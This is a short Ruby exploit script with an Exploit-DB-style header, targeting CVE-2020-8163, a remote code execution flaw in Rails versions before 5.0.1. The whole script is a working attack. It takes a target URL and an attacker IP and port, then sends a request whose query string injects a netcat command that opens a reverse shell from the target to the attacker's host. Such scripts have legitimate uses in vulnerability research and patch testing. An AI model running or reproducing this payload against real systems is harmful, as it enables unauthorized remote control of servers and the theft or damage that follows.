exploit.rb

#!/usr/bin/ruby
# Exploit Title: Remote code execution of user-provided local names in Rails < 5.0.1
# Date: June 19th 2020
# Exploit Author: Lucas Amorim (lucas@lucasamorim.ca)
# Vendor Homepage: www.rubyonrails.org
# Software Link: www.rubyonrails.org
# Version: Rails < 5.0.1
# Tested on: Linux/OSx
# CVE : CVE-2020-8163
# More information: https://github.com/sh286/CVE-2020-8163

require 'net/http'

def header
  puts "[*] - CVE-2020-8163 - Remote code execution of user-provided local names in Rails < 5.0.1\n" 
  puts "[*] - Author: Lucas Amorim lucas@lucasamorim.ca"
  puts "[*] - Usage: \n"
  puts "ruby exploit.rb <url> <ip> <port>"
end
if ARGV.length < 3
  header
  exit(-1)
end

url  = ARGV[0]
ip   = ARGV[1]
port = ARGV[2]

puts "[*] Sending payload to #{url}"
uri = URI(url+"?system(%27nc+-e+/bin/sh+#{ip}+#{port}%27)%3ba%23")
Net::HTTP.get(uri)